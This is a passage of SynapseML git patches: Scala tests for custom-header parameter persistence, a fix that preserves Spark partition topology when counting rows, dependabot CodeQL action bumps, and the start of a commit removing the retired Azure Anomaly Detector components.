b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/search/AzureSearchGenericParamPersistenceSuite.scala @@ -0,0 +1,95 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.search + +import org.apache.spark.sql.Row +import org.scalatest.funsuite.AnyFunSuite + +// The setter-time normalization in setCustomHeaders only runs through that setter. The generic +// ServiceParam setting paths -- the typed setScalarParam(customHeaders, v), the string-name +// setScalarParam("customHeaders", v), and the raw Params.set(customHeaders, Left(v)) -- bypass it and +// store the value verbatim, so a null map/key/value survives to Param.jsonEncode (the exact step +// ComplexParamsWritable.getMetadataToSave runs) and would NPE / trip spray-json require(x ne null) at +// save time. The customHeaders ServiceParam normalizes at its own JSON encode/decode boundary +// (exercised end to end by persistCustomHeaders), so every generic setting/persistence path is safe by +// construction while build() still sanitizes at assembly time. These pure tests complement the real +// AddDocuments save/load round-trip in AddDocumentsHeaderPersistenceSuite. +class AzureSearchGenericParamPersistenceSuite extends AnyFunSuite { + + // Reproduces the exact per-param persistence step ComplexParamsWritable.getMetadataToSave runs + // (Param.jsonEncode) followed by the load-time Param.jsonDecode: a null map, header name, or header + // value in the stored param throws here unless the param normalizes at its own JSON boundary. + private def persistCustomHeaders(stage: AddDocuments): Map[String, String] = + stage.customHeaders.jsonDecode( + stage.customHeaders.jsonEncode(stage.getOrDefault(stage.customHeaders))).left.get + + // scalastyle:off null + test("generic typed setScalarParam(customHeaders, null map) persists and builds without an NPE") { + val nullMap: Map[String, String] = null + val stage = new AddDocuments().setSubscriptionKey("resolved-key") + stage.setScalarParam(stage.customHeaders, nullMap) + assert(persistCustomHeaders(stage).isEmpty) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + } + + test("generic string-name setScalarParam(\"customHeaders\", null map) persists without an NPE") { + val nullMap: Map[String, String] = null + val stage = new AddDocuments().setSubscriptionKey("resolved-key") + stage.setScalarParam("customHeaders", nullMap) + assert(persistCustomHeaders(stage).isEmpty) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + } + + test("generic Params.set(customHeaders, Left(null map)) persists and preserves auth precedence") { + val nullMap: Map[String, String] = null + val stage = new AddDocuments().setAADToken("aad-token") + stage.set(stage.customHeaders, Left(nullMap)) + assert(persistCustomHeaders(stage).isEmpty) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers.contains("Authorization")) + assert(!headers.contains("api-key")) + } + + test("generic Params.set null key/value entries persist as only the valid headers") { + val stage = new AddDocuments().setSubscriptionKey("resolved-key") + stage.set(stage.customHeaders, Left(Map( + (null: String) -> "orphan-value", "x-null-value" -> (null: String), "x-generic" -> "generic-value"))) + assert(persistCustomHeaders(stage) == Map("x-generic" -> "generic-value")) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("api-key") == "resolved-key") + assert(headers("x-generic") == "generic-value") + assert(headers.keySet.forall(name => name != null)) + assert(!headers.values.exists(value => value == null || value.contains("orphan-value"))) + } + + test("generic-path embedded credential precedence survives boundary normalization and persistence") { + val stage = new AddDocuments() + stage.setScalarParam(stage.customHeaders, Map( + "api-key" -> "embedded-key", "x-null-value" -> (null: String), "x-generic" -> "generic-value")) + assert(persistCustomHeaders(stage) == Map("api-key" -> "embedded-key", "x-generic" -> "generic-value")) + val embedded = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(embedded("api-key") == "embedded-key") + assert(embedded.keys.count(name => name.equalsIgnoreCase("api-key")) == 1) + assert(embedded("x-generic") == "generic-value") + + stage.setSubscriptionKey("resolved-key") + val outranked = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(outranked("api-key") == "resolved-key") + } + + test("generic-path custom header values are preserved verbatim and the boundary never leaks them") { + val canary = "canary-9d13-not-a-real-secret" + val stage = new AddDocuments().setSubscriptionKey("resolved-key") + stage.set(stage.customHeaders, Left(Map("x-canary" -> canary, "x-null-value" -> (null: String)))) + // Normalization silently drops the null entry and keeps the real value: no rejection is raised, so + // no rendered exception can leak the value, and persistence/header assembly stay NPE-free. + assert(persistCustomHeaders(stage) == Map("x-canary" -> canary)) + val headers = stage.buildServiceAuthHeaders(Row.empty, addContentType = false, None) + assert(headers("x-canary") == canary) + assert(headers("api-key") == "resolved-key") + } + // scalastyle:on null +} From d78a2eb86eb2a7324a1361f73c45d1e6b404c10f Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 5 Aug 2026 18:31:38 -0700 Subject: [PATCH 23/93] fix: preserve Spark partition topology when counting rows (#2593) ## Summary Count rows on the original DataFrame RDD so adaptive execution cannot coalesce a projected counting query into a different partition topology. Add a regression that exposes the old 20-to-fewer-partitions drift and verifies exact per-partition counts. ## Prompting Intent Recreate the valid intent behind ancient PR #2282 from current master only after reproducing issue #2278. Isolate distributed startup, feature-width bounds, and native pointer lifetime separately; use TDD and submit only a proven root cause with real regression coverage. ## Linked Sources - Reported failure: https://github.com/microsoft/SynapseML/issues/2278 - Superseded ancient proposal: https://github.com/microsoft/SynapseML/pull/2282 ## Rationale The literal-only projection was cheaper, but AQE could optimize it to fewer partitions than the training DataFrame. LightGBM then indexed that shortened count array with real task partition IDs, causing the primary ArrayIndexOutOfBoundsException and secondary connection failures. Counting the exact DataFrame RDD trades projection pruning for topology correctness. Feature-width validation and innerPredict cleanup were deliberately excluded because neither was demonstrated as the cause of #2278 or backed by a stable leak regression. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../synapse/ml/core/utils/ClusterUtil.scala | 8 ++--- .../ml/core/utils/VerifyClusterUtil.scala | 36 +++++++++++++++++++ 2 files changed, 40 insertions(+), 4 deletions(-) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ClusterUtil.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ClusterUtil.scala index 72a748708b6..ce480aaabed 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ClusterUtil.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/utils/ClusterUtil.scala @@ -7,7 +7,6 @@ import java.net.InetAddress import org.apache.http.conn.util.InetAddressUtils import org.apache.spark.SparkContext import org.apache.spark.injections.BlockManagerUtils -import org.apache.spark.sql.functions.typedLit import org.apache.spark.sql.{Column, DataFrame, SparkSession} import org.slf4j.Logger @@ -41,12 +40,13 @@ object ClusterUtil { /** Get number of rows per partition of a dataframe. Note that this will execute a full * distributed Spark app query. * @param df The dataframe. + * @param labelCol Retained for API compatibility. Projecting it could change the adaptive partition topology. * @return The number of rows per partition (where partitionId is the array index). */ def getNumRowsPerPartition(df: DataFrame, labelCol: Column): Array[Long] = { - val indexedRowCounts: Array[(Int, Long)] = df - .select(typedLit(0.toByte)) - .rdd + // Use the DataFrame's own RDD so adaptive execution cannot produce a different + // partition topology for a projected counting query. + val indexedRowCounts: Array[(Int, Long)] = df.rdd .mapPartitionsWithIndex({case (i,rows) => Iterator((i,rows.size.toLong))}, true) .collect() // Get an array where the index is implicitly the partition id diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyClusterUtil.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyClusterUtil.scala index 97b62489227..3c1baa3aa7c 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyClusterUtil.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/utils/VerifyClusterUtil.scala @@ -4,6 +4,7 @@ package com.microsoft.azure.synapse.ml.core.utils import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.functions.{col, expr, first, lit} import org.slf4j.LoggerFactory class VerifyClusterUtil extends TestBase { @@ -15,4 +16,39 @@ class VerifyClusterUtil extends TestBase { assert(ClusterUtil.getDefaultNumExecutorCores(spark, log, Option("spark://localhost:7077")) == ClusterUtil.getJVMCPUs(spark)) } + + test("Verify row counts preserve the DataFrame partition topology") { + // Isolate SQL settings without closing TestBase's shared SparkContext. + val adaptiveSpark = spark.newSession() + val partitionCount = 20 + adaptiveSpark.conf.set("spark.sql.adaptive.enabled", value = true) + adaptiveSpark.conf.set("spark.sql.adaptive.coalescePartitions.enabled", value = true) + adaptiveSpark.conf.set("spark.sql.adaptive.coalescePartitions.parallelismFirst", value = false) + adaptiveSpark.conf.set("spark.sql.adaptive.advisoryPartitionSizeInBytes", 64 * 1024) + adaptiveSpark.conf.set("spark.sql.adaptive.coalescePartitions.minPartitionSize", 1) + adaptiveSpark.conf.set("spark.sql.shuffle.partitions", partitionCount) + + val payloadExpression = (0 until 2) + .map(index => s"sha2(concat(cast(id as string), ':$index'), 256)") + .mkString("concat(", ",", ")") + val dataframe = adaptiveSpark.range(0L, 40000L, 1L, partitionCount) + .select((col("id") % 20000).as("key"), expr(payloadExpression).as("payload")) + .groupBy("key") + .agg(first("payload").as("payload")) + + val expected = dataframe.rdd + .mapPartitionsWithIndex { case (index, rows) => Iterator(index -> rows.size.toLong) } + .collect() + .sortBy(_._1) + .map(_._2) + val projected = dataframe.select(lit(0)).rdd + .mapPartitions(rows => Iterator(rows.size.toLong)) + .collect() + val actual = ClusterUtil.getNumRowsPerPartition(dataframe, lit(0)) + + assert(projected.length < expected.length, + s"Fixture must expose adaptive coalescing: ${projected.length} projected vs ${expected.length} actual") + assert(actual.sameElements(expected), + s"Expected partition counts ${expected.mkString(",")}, got ${actual.mkString(",")}") + } } From 9098d3b661d3cfc9bf1f23a78baba298b51e8d60 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Aug 2026 19:27:44 -0700 Subject: [PATCH 24/93] chore(deps): bump github/codeql-action/upload-sarif (#2606) Bumps [github/codeql-action/upload-sarif](https://github.com/github/codeql-action) from 4.37.3 to 4.37.4. - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/github/codeql-action/compare/e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81...f205ea1c3313d32999d8d6a48b4f6530d4437b38) --- updated-dependencies: - dependency-name: github/codeql-action/upload-sarif dependency-version: 4.37.4 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/scorecards.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecards.yml b/.github/workflows/scorecards.yml index 4dba111956c..fa672340dd1 100644 --- a/.github/workflows/scorecards.yml +++ b/.github/workflows/scorecards.yml @@ -67,6 +67,6 @@ jobs: # Upload the results to GitHub's code scanning dashboard. - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81 # v4 + uses: github/codeql-action/upload-sarif@f205ea1c3313d32999d8d6a48b4f6530d4437b38 # v4 with: sarif_file: results.sarif From 07d0ec2fdb66cc8c058ef8c6a5c8e9eea01e29d0 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 5 Aug 2026 20:16:30 -0700 Subject: [PATCH 25/93] chore(deps): bump github/codeql-action/upload-sarif (#2607) Bumps [github/codeql-action/upload-sarif](https://github.com/github/codeql-action) from 4.37.4 to 4.37.5. - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/github/codeql-action/compare/f205ea1c3313d32999d8d6a48b4f6530d4437b38...d1ba80a13dd99fba24a470575428917156a28b43) --- updated-dependencies: - dependency-name: github/codeql-action/upload-sarif dependency-version: 4.37.5 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- .github/workflows/scorecards.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/scorecards.yml b/.github/workflows/scorecards.yml index fa672340dd1..ae99565a717 100644 --- a/.github/workflows/scorecards.yml +++ b/.github/workflows/scorecards.yml @@ -67,6 +67,6 @@ jobs: # Upload the results to GitHub's code scanning dashboard. - name: "Upload to code-scanning" - uses: github/codeql-action/upload-sarif@f205ea1c3313d32999d8d6a48b4f6530d4437b38 # v4 + uses: github/codeql-action/upload-sarif@d1ba80a13dd99fba24a470575428917156a28b43 # v4 with: sarif_file: results.sarif From 52eb70c3caabd3b30e989d8693edd06a9c00f558 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 5 Aug 2026 20:26:06 -0700 Subject: [PATCH 26/93] chore: remove retired Azure AI Anomaly Detector components (#2605) The Azure AI Anomaly Detector service has been retired by Microsoft. Every `anomalydetector` REST endpoint now answers HTTP 410 (Gone), verified across paths, API versions and regions. --- .../python/synapse/ml/cognitive/anomaly.py | 6 +- .../services/anomaly/AnomalyDetection.scala | 292 ------- .../anomaly/AnomalyDetectorSchemas.scala | 72 -- .../MultivariateAnomalyDetection.scala | 769 ------------------ .../MultivariateAnomalyDetectorSchemas.scala | 146 ---- .../ml/services/form/FormRecognizerV3.scala | 2 +- .../anomaly/AnamolyDetectionSuite.scala | 255 ------ .../MultivariateAnamolyDetectionSuite.scala | 340 -------- .../synapse/ml/logging/FeatureNames.scala | 1 - .../microsoft/azure/synapse/ml/Secrets.scala | 3 - .../ml/core/test/benchmarks/Benchmarks.scala | 3 - .../ml/nbtest/DatabricksUtilities.scala | 1 - .../synapse/ml/nbtest/SynapseTests.scala | 1 - .../Multivariate Anomaly Detection.ipynb | 555 ------------- .../AI Services/Overview.ipynb | 82 -- .../Quickstart - Predictive Maintenance.ipynb | 274 ------- .../estimators/cognitive/_MAD.md | 97 --- .../estimators/estimators_cognitive.md | 12 - .../cognitive/_AnomalyDetection.md | 319 -------- .../transformers/transformers_cognitive.md | 7 +- pipeline.yaml | 3 - .../ml/core/test/fuzzing/FuzzingTest.scala | 16 - tools/docgen/docgen/manifest.yaml | 10 - website/docusaurus.config.js | 6 +- website/sidebars.js | 2 - 25 files changed, 8 insertions(+), 3266 deletions(-) delete mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetection.scala delete mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetectorSchemas.scala delete mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetection.scala delete mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetectorSchemas.scala delete mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnamolyDetectionSuite.scala delete mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnamolyDetectionSuite.scala delete mode 100644 docs/Explore Algorithms/AI Services/Multivariate Anomaly Detection.ipynb delete mode 100644 docs/Explore Algorithms/AI Services/Quickstart - Predictive Maintenance.ipynb delete mode 100644 docs/Quick Examples/estimators/cognitive/_MAD.md delete mode 100644 docs/Quick Examples/estimators/estimators_cognitive.md delete mode 100644 docs/Quick Examples/transformers/cognitive/_AnomalyDetection.md diff --git a/cognitive/src/main/python/synapse/ml/cognitive/anomaly.py b/cognitive/src/main/python/synapse/ml/cognitive/anomaly.py index 0cef6d9cc66..9ddbfa6cfb2 100644 --- a/cognitive/src/main/python/synapse/ml/cognitive/anomaly.py +++ b/cognitive/src/main/python/synapse/ml/cognitive/anomaly.py @@ -1,8 +1,8 @@ import warnings -from synapse.ml.services.anomaly import * -# Raise a deprecation warning for the entire submodule warnings.warn( - "Importing from 'synapse.ml.cognitive.anomaly' is deprecated. Use 'synapse.ml.services.anomaly' instead.", + "The 'synapse.ml.cognitive.anomaly' module has been removed. " + "The Azure AI Anomaly Detector service has been retired and its transformers " + "are no longer available. Use synapse.ml.isolationforest instead.", DeprecationWarning, ) diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetection.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetection.scala deleted file mode 100644 index 80ce4795db5..00000000000 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetection.scala +++ /dev/null @@ -1,292 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly - -import com.microsoft.azure.synapse.ml.services._ -import com.microsoft.azure.synapse.ml.services.anomaly.AnomalyDetectorProtocol._ -import com.microsoft.azure.synapse.ml.core.contracts.HasOutputCol -import com.microsoft.azure.synapse.ml.core.schema.DatasetExtensions -import com.microsoft.azure.synapse.ml.io.http.ErrorUtils -import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} -import com.microsoft.azure.synapse.ml.param.ServiceParam -import org.apache.http.entity.{AbstractHttpEntity, StringEntity} -import org.apache.spark.injections.UDFUtils -import org.apache.spark.ml.ComplexParamsReadable -import org.apache.spark.ml.param.Param -import org.apache.spark.ml.util._ -import org.apache.spark.sql.functions._ -import org.apache.spark.sql.types._ -import org.apache.spark.sql.{DataFrame, Dataset, Row} -import spray.json.DefaultJsonProtocol._ -import spray.json._ - -import scala.language.existentials - -abstract class AnomalyDetectorBase(override val uid: String) extends CognitiveServicesBase(uid) - with HasCognitiveServiceInput with HasInternalJsonOutputParser with HasSetLocation with HasSetLinkedService { - - override private[ml] def internalServiceType: String = "anomalydetector" - - val granularity = new ServiceParam[String](this, "granularity", - """ - |Can only be one of yearly, monthly, weekly, daily, hourly or minutely. - |Granularity is used for verify whether input series is valid. - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = true - ) - - def setGranularity(v: String): this.type = setScalarParam(granularity, v) - - def setGranularityCol(v: String): this.type = setVectorParam(granularity, v) - - val maxAnomalyRatio = new ServiceParam[Double](this, "maxAnomalyRatio", - """ - |Optional argument, advanced model parameter, max anomaly ratio in a time series. - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setMaxAnomalyRatio(v: Double): this.type = setScalarParam(maxAnomalyRatio, v) - - def setMaxAnomalyRatioCol(v: String): this.type = setVectorParam(maxAnomalyRatio, v) - - val sensitivity = new ServiceParam[Int](this, "sensitivity", - """ - |Optional argument, advanced model parameter, between 0-99, - |the lower the value is, the larger the margin value will be which means less anomalies will be accepted - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setSensitivity(v: Int): this.type = setScalarParam(sensitivity, v) - - def setSensitivityCol(v: String): this.type = setVectorParam(sensitivity, v) - - val customInterval = new ServiceParam[Int](this, "customInterval", - """ - |Custom Interval is used to set non-standard time interval, for example, if the series is 5 minutes, - | request can be set as granularity=minutely, customInterval=5. - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setCustomInterval(v: Int): this.type = setScalarParam(customInterval, v) - - def setCustomIntervalCol(v: String): this.type = setVectorParam(customInterval, v) - - val period = new ServiceParam[Int](this, "period", - """ - |Optional argument, periodic value of a time series. - |If the value is null or does not present, the API will determine the period automatically. - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setPeriod(v: Int): this.type = setScalarParam(period, v) - - def setPeriodCol(v: String): this.type = setVectorParam(period, v) - - val imputeMode = new ServiceParam[String](this, "imputeMode", - """ - |Optional argument, impute mode of a time series. - |Possible values: auto, previous, linear, fixed, zero, notFill - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setImputeMode(v: String): this.type = setScalarParam(imputeMode, v) - - def setImputeModeCol(v: String): this.type = setVectorParam(imputeMode, v) - - val imputeFixedValue = new ServiceParam[Double](this, "imputeFixedValue", - """ - |Optional argument, fixed value to use when imputeMode is set to "fixed" - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = false - ) - - def setImputeFixedValue(v: Double): this.type = setScalarParam(imputeFixedValue, v) - - def setImputeFixedValueCol(v: String): this.type = setVectorParam(imputeFixedValue, v) - - val series = new ServiceParam[Seq[TimeSeriesPoint]](this, "series", - """ - |Time series data points. Points should be sorted by timestamp in ascending order - |to match the anomaly detection result. If the data is not sorted correctly or - |there is duplicated timestamp, the API will not work. - |In such case, an error message will be returned. - """.stripMargin.replace("\n", " ").replace("\r", " "), - { _ => true }, - isRequired = true - ) - - override protected def prepareEntity: Row => Option[AbstractHttpEntity] = { row => - Some(new StringEntity(ADRequest( - getValueAny(row, series).asInstanceOf[Seq[Any]].map { - case tsp: TimeSeriesPoint => tsp - case r: Row => TimeSeriesPoint(r.getString(0), r.getDouble(1)) - }, - getValue(row, granularity), - getValueOpt(row, maxAnomalyRatio), - getValueOpt(row, sensitivity), - getValueOpt(row, customInterval), - getValueOpt(row, period), - getValueOpt(row, imputeMode), - getValueOpt(row, imputeFixedValue) - ).toJson.compactPrint)) - } -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object DetectLastAnomaly extends ComplexParamsReadable[DetectLastAnomaly] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class DetectLastAnomaly(override val uid: String) extends AnomalyDetectorBase(uid) with SynapseMLLogging { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("DetectLastAnomaly")) - - def setSeries(v: Seq[TimeSeriesPoint]): this.type = setScalarParam(series, v) - - def setSeriesCol(v: String): this.type = setVectorParam(series, v) - - def urlPath: String = "/anomalydetector/v1.1/timeseries/last/detect" - - override def responseDataType: DataType = ADLastResponse.schema - -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object DetectAnomalies extends ComplexParamsReadable[DetectAnomalies] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class DetectAnomalies(override val uid: String) extends AnomalyDetectorBase(uid) with SynapseMLLogging { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("DetectAnomalies")) - - def setSeries(v: Seq[TimeSeriesPoint]): this.type = setScalarParam(series, v) - - def setSeriesCol(v: String): this.type = setVectorParam(series, v) - - def urlPath: String = "/anomalydetector/v1.1/timeseries/entire/detect" - - override def responseDataType: DataType = ADEntireResponse.schema - -} - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -object SimpleDetectAnomalies extends ComplexParamsReadable[SimpleDetectAnomalies] with Serializable - -@deprecated("The Anomaly Detection Service will be shutting down in 2026," + - " please use IsolationForest for anomaly detection", "v1.0.0") -class SimpleDetectAnomalies(override val uid: String) extends AnomalyDetectorBase(uid) - with HasOutputCol with SynapseMLLogging { - logClass(FeatureNames.AiServices.Anomaly) - - def this() = this(Identifiable.randomUID("SimpleDetectAnomalies")) - - val timestampCol = new Param[String](this, "timestampCol", "column representing the time of the series") - - def setTimestampCol(v: String): this.type = set(timestampCol, v) - - def getTimestampCol: String = $(timestampCol) - - val valueCol = new Param[String](this, "valueCol", "column representing the value of the series") - - def setValueCol(v: String): this.type = set(valueCol, v) - - def getValueCol: String = $(valueCol) - - val groupbyCol = new Param[String](this, "groupbyCol", "column that groups the series") - - def setGroupbyCol(v: String): this.type = set(groupbyCol, v) - - def getGroupbyCol: String = $(groupbyCol) - - setDefault( - timestampCol -> "timestamp", - valueCol -> "value", - outputCol -> s"${uid}_output") - - private def sortWithContext(timeSeries: Seq[Row], context: Seq[Row]): Row = { - val s1 = timeSeries.zipWithIndex.sortBy(r => r._1.getString(0)) - val s2 = s1.map(s => context(s._2)) - Row(s1.map(_._1), s2) - } - - private def formatResultsFunc(): (Row, Int) => Seq[Row] = { - val fromRow = ADEntireResponse.makeFromRowConverter - val toRow = ADSingleResponse.makeToRowConverter; - { case (result, count) => - Option(result) - .map(res => fromRow(res).explode.map(toRow)) - .getOrElse(Seq.fill[Row](count)(null)) // scalastyle:ignore null - } - } - - override def transform(dataset: Dataset[_]): DataFrame = { - logTransform[DataFrame]({ - val contextCol = DatasetExtensions.findUnusedColumnName("context", dataset.schema) - val inputsCol = DatasetExtensions.findUnusedColumnName("inputs", dataset.schema) - setVectorParam(series, inputsCol) - - val inputDF = dataset.toDF() - .withColumn(contextCol, struct("*")) - .withColumn(inputsCol, struct( - col(getTimestampCol).alias("timestamp"), - col(getValueCol).alias("value"))) - val sortUDF = UDFUtils.oldUdf(sortWithContext _, - new StructType() - .add(inputsCol, ArrayType(TimeSeriesPoint.schema)) - .add(contextCol, ArrayType(inputDF.schema(contextCol).dataType)) - ) - - val groupedDF = inputDF - .groupBy(getGroupbyCol) - .agg( - collect_list(inputsCol).alias(inputsCol), - collect_list(contextCol).alias(contextCol)) - .select(sortUDF(col(inputsCol), col(contextCol)).alias("sorted")) - .select("sorted.*") - - val outputDF = super.transform(groupedDF) - - outputDF.select( - col(getErrorCol), - explode(arrays_zip( - col(contextCol), - UDFUtils.oldUdf(formatResultsFunc(), ArrayType(ADSingleResponse.schema))( - col(getOutputCol), size(col(contextCol))) - )).alias(getOutputCol) - ).select( - s"$getOutputCol.$contextCol.*", - getErrorCol, - s"$getOutputCol.1" - ).withColumnRenamed("1", getOutputCol) - }, dataset.columns.length) - - } - - def urlPath: String = "/anomalydetector/v1.1/timeseries/entire/detect" - - override def responseDataType: DataType = ADEntireResponse.schema - - override def transformSchema(schema: StructType): StructType = { - schema.add(getErrorCol, ErrorUtils.ErrorSchema) - .add(getOutputCol, ADSingleResponse.schema) - } -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetectorSchemas.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetectorSchemas.scala deleted file mode 100644 index 1328274ad6c..00000000000 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/AnomalyDetectorSchemas.scala +++ /dev/null @@ -1,72 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly - -import com.microsoft.azure.synapse.ml.core.schema.SparkBindings -import spray.json.DefaultJsonProtocol._ -import spray.json.RootJsonFormat - -object TimeSeriesPoint extends SparkBindings[TimeSeriesPoint] - -case class TimeSeriesPoint(timestamp: String, value: Double) - -case class ADRequest(series: Seq[TimeSeriesPoint], - granularity: String, - maxAnomalyRatio: Option[Double], - sensitivity: Option[Int], - customInterval: Option[Int], - period: Option[Int], - imputeMode: Option[String], - imputeFixedValue: Option[Double]) - -object ADRequest extends SparkBindings[ADRequest] - -case class ADLastResponse(isAnomaly: Boolean, - isPositiveAnomaly: Boolean, - isNegativeAnomaly: Boolean, - period: Int, - expectedValue: Double, - upperMargin: Double, - lowerMargin: Double, - suggestedWindow: Int, - severity: Double) - -object ADLastResponse extends SparkBindings[ADLastResponse] - -case class ADSingleResponse(isAnomaly: Boolean, - isPositiveAnomaly: Boolean, - isNegativeAnomaly: Boolean, - period: Int, - expectedValue: Double, - upperMargin: Double, - lowerMargin: Double, - severity: Double) - -object ADSingleResponse extends SparkBindings[ADSingleResponse] - -case class ADEntireResponse(isAnomaly: Seq[Boolean], - isPositiveAnomaly: Seq[Boolean], - isNegativeAnomaly: Seq[Boolean], - period: Int, - expectedValues: Seq[Double], - upperMargins: Seq[Double], - lowerMargins: Seq[Double], - severity: Seq[Double]) { - - def explode: Seq[ADSingleResponse] = { - isAnomaly.indices.map { i => - ADSingleResponse( - isAnomaly(i), isPositiveAnomaly(i), isNegativeAnomaly(i), - period, expectedValues(i), upperMargins(i), lowerMargins(i), severity(i) - ) - } - } -} - -object ADEntireResponse extends SparkBindings[ADEntireResponse] - -object AnomalyDetectorProtocol { - implicit val TspEnc: RootJsonFormat[TimeSeriesPoint] = jsonFormat2(TimeSeriesPoint.apply) - implicit val AdreqEnc: RootJsonFormat[ADRequest] = jsonFormat8(ADRequest.apply) -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetection.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetection.scala deleted file mode 100644 index b9f5eee4d2b..00000000000 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/anomaly/MultivariateAnomalyDetection.scala +++ /dev/null @@ -1,769 +0,0 @@ -// Copyright (C) Microsoft Corporation. All rights reserved. -// Licensed under the MIT License. See LICENSE in project root for information. - -package com.microsoft.azure.synapse.ml.services.anomaly - -import com.microsoft.azure.synapse.ml.build.BuildInfo -import com.microsoft.azure.synapse.ml.codegen.Wrappable -import com.microsoft.azure.synapse.ml.services._ -import com.microsoft.azure.synapse.ml.services.anomaly.MADJsonProtocol._ -import com.microsoft.azure.synapse.ml.services.vision.HasAsyncReply -import com.microsoft.azure.synapse.ml.core.contracts.{HasInputCols, HasOutputCol} -import com.microsoft.azure.synapse.ml.core.env.StreamUtilities.using -import com.microsoft.azure.synapse.ml.core.schema.DatasetExtensions -import com.microsoft.azure.synapse.ml.io.http.HandlingUtils.{convertAndClose, sendWithRetries} 